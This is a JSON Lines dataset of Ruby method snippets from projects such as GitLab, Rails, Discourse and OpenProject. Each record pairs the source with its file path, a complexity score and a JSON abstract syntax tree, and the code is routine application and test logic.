{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking/error_repository/open_api_strategy.rb","start_line":172,"raw_source":"def pagination_from_headers(headers)\n          links = headers['link'].to_s.split(', ')\n\n          pagination_hash = links.map { parse_pagination_link(_1) }.compact.to_h\n\n          ErrorRepository::Pagination.new(pagination_hash['next'], pagination_hash['prev'])\n        end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_from_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"headers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"link\"]}]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pagination_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"map\"]},1,{\"type\":\"send\",\"children\":[null,\"parse_pagination_link\",{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]},\"compact\"]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorRepository\"]},\"Pagination\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pagination_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"next\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pagination_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"prev\"]}]}]}]}]}","id":"3d066e32-ebf0-4ea7-8f01-ba646ce4a90a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service/work_package_strategy.rb","start_line":66,"raw_source":"def self.project(journal)\n    journal.data.project\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"data\"]},\"project\"]}]}","id":"6d497f88-f3bf-4718-ba67-faa96e87e3b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker/gemspec_linker.rb","start_line":10,"raw_source":"def link_dependencies\n        link_method_call('homepage', URL_REGEX, &:itself)\n        link_method_call('license', &method(:license_url))\n\n        link_method_call(%w[add_dependency add_runtime_dependency add_development_dependency]) do |name|\n          \"https://rubygems.org/gems/#{name}\"\n        end\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"link_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_method_call\",{\"type\":\"str\",\"children\":[\"homepage\"]},{\"type\":\"const\",\"children\":[null,\"URL_REGEX\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"itself\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_method_call\",{\"type\":\"str\",\"children\":[\"license\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"license_url\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_method_call\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"add_dependency\"]},{\"type\":\"str\",\"children\":[\"add_runtime_dependency\"]},{\"type\":\"str\",\"children\":[\"add_development_dependency\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://rubygems.org/gems/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"d8d5e037-3438-466a-a5d2-4ed8dee3975a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/workers/gitlab/jira_import/import_issue_worker_spec.rb","start_line":89,"raw_source":"def perform_inline\n          subject.class.perform_inline(project.id, 1050, issue_attrs, some_key)\n        end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_inline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"class\"]},\"perform_inline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"int\",\"children\":[1050]},{\"type\":\"send\",\"children\":[null,\"issue_attrs\"]},{\"type\":\"send\",\"children\":[null,\"some_key\"]}]}]}","id":"83690aec-f6f0-4ff1-8ff9-2b78b88a84c1"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/anthropic/tools.rb","start_line":71,"raw_source":"def extract_tool_calls(data)\n          if json_delta?(data)\n            { nil => ToolCall.new(id: nil, name: nil, arguments: data.dig('delta', 'partial_json')) }\n          else\n            parse_tool_calls(data['content_block'])\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_tool_calls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_delta?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ToolCall\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"delta\"]},{\"type\":\"str\",\"children\":[\"partial_json\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_tool_calls\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content_block\"]}]}]}]}]}","id":"1bd967c4-549d-4943-8331-c28cc5c260e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/relation_export_service.rb","start_line":8,"raw_source":"def initialize(relation_export, user, jid, params = {})\n        @relation_export = relation_export\n        @user = user\n        @jid = jid\n        @logger = Gitlab::Export::Logger.build\n        @params = params\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation_export\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"jid\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@relation_export\",{\"type\":\"lvar\",\"children\":[\"relation_export\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@jid\",{\"type\":\"lvar\",\"children\":[\"jid\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Export\"]},\"Logger\"]},\"build\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"34cae0fc-8c3f-4971-80b4-e9191a1fd92a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":133,"raw_source":"def column_exists?(table_name, column_name, type = nil, **options)\n        column_name = column_name.to_s\n        checks = []\n        checks << lambda { |c| c.name == column_name }\n        checks << lambda { |c| c.type == type.to_sym rescue nil } if type\n        column_options_keys.each do |attr|\n          checks << lambda { |c| c.send(attr) == options[attr] } if options.key?(attr)\n        end\n\n        columns(table_name).any? { |c| checks.all? { |check| check[c] } }\n      end","complexity_score":45.5,"ast_json":"{\"type\":\"def\",\"children\":[\"column_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"checks\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checks\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checks\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_options_keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checks\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checks\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]}]}","id":"7823a7dd-1036-4727-9b34-cb50a52b8f9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline.rb","start_line":55,"raw_source":"def validate_url(url)\n          Gitlab::HTTP_V2::UrlBlocker.validate!(\n            url,\n            allow_local_network: allow_local_requests?,\n            allow_localhost: allow_local_requests?,\n            deny_all_requests_except_allowed: Gitlab::CurrentSettings.deny_all_requests_except_allowed?,\n            schemes: %w[http https],\n            outbound_local_requests_allowlist: Gitlab::CurrentSettings.outbound_local_requests_whitelist # rubocop:disable Naming/InclusiveLanguage -- existing setting\n          )\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP_V2\"]},\"UrlBlocker\"]},\"validate!\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_local_network\"]},{\"type\":\"send\",\"children\":[null,\"allow_local_requests?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_localhost\"]},{\"type\":\"send\",\"children\":[null,\"allow_local_requests?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deny_all_requests_except_allowed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"deny_all_requests_except_allowed?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schemes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"http\"]},{\"type\":\"str\",\"children\":[\"https\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"outbound_local_requests_allowlist\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"outbound_local_requests_whitelist\"]}]}]}]}]}","id":"3504727a-09a7-4035-ab6a-5649f4a809ac"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/notification.rb","start_line":192,"raw_source":"def self.read_types(user, types = nil)\n    query = Notification.where(user_id: user.id, read: false)\n    query = query.where(notification_type: types) if types\n    query.update_all(read: true)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"read_types\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"types\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"types\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"c3506dd1-f079-4641-bad5-6890684e90e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/static.rb","start_line":8,"raw_source":"def call(env)\n        return @app.call(env) if UPLOADS_REGEX.match?(env['PATH_INFO'])\n\n        super\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UPLOADS_REGEX\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f3012ee7-5221-4be4-b1a7-66d5c3155fac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/context/source_context.rb","start_line":35,"raw_source":"def ci_builds_path\n            path = gitlab_config.dig(env, 'gitlab_ci', 'builds_path') || DEFAULT_CI_BUILDS_PATH\n\n            absolute_path(path)\n          end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ci_builds_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_config\"]},\"dig\",{\"type\":\"send\",\"children\":[null,\"env\"]},{\"type\":\"str\",\"children\":[\"gitlab_ci\"]},{\"type\":\"str\",\"children\":[\"builds_path\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_CI_BUILDS_PATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"absolute_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"ad02e35e-0fd9-4266-a24f-07287fc46a91"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/local_cache_behavior.rb","start_line":328,"raw_source":"def test_middleware\n    key = SecureRandom.uuid\n    value = SecureRandom.alphanumeric\n    app = lambda { |env|\n      result = @cache.write(key, value)\n      assert_equal value, @cache.read(key) # make sure 'foo' was written\n      assert result\n      [200, {}, []]\n    }\n    app = @cache.middleware.new(app)\n    app.call({})\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_middleware\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"middleware\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"call\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"4a107cb9-cd98-4428-b1f9-72f8b85f52d5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_saml/app/models/saml/provider/hash_builder.rb","start_line":65,"raw_source":"def to_h # rubocop:disable Metrics/AbcSize\n      {\n        name: slug,\n        display_name:,\n        icon:,\n        assertion_consumer_service_url:,\n        sp_entity_id:,\n        idp_sso_service_url:,\n        idp_slo_service_url:,\n        name_identifier_format:,\n        certificate:,\n        private_key:,\n        limit_self_registration:,\n        attribute_statements: formatted_attribute_statements,\n        request_attributes: formatted_request_attributes,\n        uid_attribute: mapping_uid.presence\n      }\n        .merge(idp_cert_options_hash)\n        .merge(security: security_options_hash)\n        .compact\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_name\"]},{\"type\":\"send\",\"children\":[null,\"display_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"send\",\"children\":[null,\"icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assertion_consumer_service_url\"]},{\"type\":\"send\",\"children\":[null,\"assertion_consumer_service_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sp_entity_id\"]},{\"type\":\"send\",\"children\":[null,\"sp_entity_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"idp_sso_service_url\"]},{\"type\":\"send\",\"children\":[null,\"idp_sso_service_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"idp_slo_service_url\"]},{\"type\":\"send\",\"children\":[null,\"idp_slo_service_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_identifier_format\"]},{\"type\":\"send\",\"children\":[null,\"name_identifier_format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"certificate\"]},{\"type\":\"send\",\"children\":[null,\"certificate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_key\"]},{\"type\":\"send\",\"children\":[null,\"private_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit_self_registration\"]},{\"type\":\"send\",\"children\":[null,\"limit_self_registration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_statements\"]},{\"type\":\"send\",\"children\":[null,\"formatted_attribute_statements\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_attributes\"]},{\"type\":\"send\",\"children\":[null,\"formatted_request_attributes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapping_uid\"]},\"presence\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"idp_cert_options_hash\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"security\"]},{\"type\":\"send\",\"children\":[null,\"security_options_hash\"]}]}]}]},\"compact\"]}]}","id":"754d55e3-70c3-46d3-aed3-577663812296"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/thread_header.rb","start_line":31,"raw_source":"def has_no_settings_button?\n          component.has_no_css?(SELECTOR + \" .c-navbar__thread-settings-button\")\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_settings_button?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_no_css?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SELECTOR\"]},\"+\",{\"type\":\"str\",\"children\":[\" .c-navbar__thread-settings-button\"]}]}]}]}","id":"807e01db-808c-4e39-9d95-245723646b45"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/translation_helper.rb","start_line":128,"raw_source":"def scope_key_by_partial(key)\n          if key&.start_with?(\".\")\n            if @virtual_path\n              @_scope_key_by_partial_cache ||= {}\n              @_scope_key_by_partial_cache[@virtual_path] ||= @virtual_path.gsub(%r{/_?}, \".\")\n              \"#{@_scope_key_by_partial_cache[@virtual_path]}#{key}\"\n            else\n              raise \"Cannot use t(#{key.inspect}) shortcut because path is not available\"\n            end\n          else\n            key\n          end\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_key_by_partial\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@virtual_path\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_scope_key_by_partial_cache\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_scope_key_by_partial_cache\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@virtual_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@virtual_path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/_?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_scope_key_by_partial_cache\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@virtual_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot use t(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\") shortcut because path is not available\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}","id":"e13a7fb3-e84d-4b0f-86c5-9462b8fda113"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":4,"raw_source":"def edit_blob_path(project = @project, ref = @ref, path = @path, options = {})\n    project_edit_blob_path(project, tree_join(ref, path), options[:link_opts])\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_blob_path\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"project\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"optarg\",\"children\":[\"ref\",{\"type\":\"ivar\",\"children\":[\"@ref\"]}]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"ivar\",\"children\":[\"@path\"]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"project_edit_blob_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"tree_join\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"link_opts\"]}]}]}]}","id":"a156a090-9f36-40bb-bf61-c89b203c6c04"}
